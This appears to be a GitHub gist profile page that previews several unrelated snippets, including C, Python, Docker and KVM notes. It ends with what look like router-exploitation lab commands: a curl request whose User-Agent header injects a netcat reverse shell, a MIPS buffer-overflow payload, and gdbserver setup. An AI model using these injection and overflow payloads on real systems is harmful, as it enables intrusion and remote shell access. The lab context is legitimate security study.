Skip to content

Instantly share code, notes, and snippets.

View hortinstein's full-sized avatar

Alex Hortin hortinstein

View GitHub Profile
import { useShow } from "@pankod/refine-core";
import {
Show,
Typography,
Stack,
TextFieldComponent as TextField,
DateField,
NumberField,
} from "@pankod/refine-mui";
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>

Add this toy example I wrote somewhere for error handling

#include <stdio.h>

#define FAILURE 1
#define SUCCESS 0

#define DEBUG_ERROR(fmt, args...) fprintf(stderr, "ERROR: %s:%d:%s(): " fmt "\n", \
def map (k,v):
ret_sum = {}
for key in k:
if key in ret_sum:
ret_sum[key] +=1
else:
ret_sum[key] = 1
for val in v:
if val in ret_sum:
ret_sum[val] -= 1
@hortinstein
hortinstein / `
Created January 27, 2019 15:33
ssh docker
FROM build:latest
MAINTAINER Alex Hortin
EXPOSE 22
EXPOSE 80
##############################
# installing tiny init (tini)
##############################
RUN apk add --update tini gcc make
101 => [ 332, 187, 363, 151, 239 ]
102 => [ 187, 332, 363, 151, 239 ]
103 => [ 239, 264, 332, 39, 187 ]
104 => [ 363, 187, 332, 151, 239 ]
105 => [ 306, 258, 265, 422, 151 ]
106 => [ 306, 258, 265, 422, 151 ]
107 => [ 306, 258, 265, 422, 151 ]
108 => [ 332, 187, 363, 151, 239 ]
109 => [ 264, 39, 181, 239, 332 ]
110 => [ 306, 258, 265, 422, 151 ]

There are a lot of ways to create a virtual machine using kvm in linux. I will introduce the one I think is the most convenient.

Assumptions:

  1. Ubuntu 14.04 or later.
  2. Native system (physical machine).

Step by Step:

  1. install qemu-kvm, libvirt-bin and check if hardware supports the necessary virtualization extesions for KVM.
curl 127.0.0.1:80 -A '`/bin/busybox nc 127.0.0.1 5555 -e /bin/sh`'
sudo chroot . ./qemu-mipsel -g 4321 bin/overflowme `python -c "print 'A'*260+'\xA0\x07\x40'"`
#start lighttpd
chroot . /usr/sbin/lighttpd -f ./etc/init.d/service_httpd/lighttpd.conf
#start gdb server
gdbserver --attach 0.0.0.0:1234 715
asdfssadfasdfsdf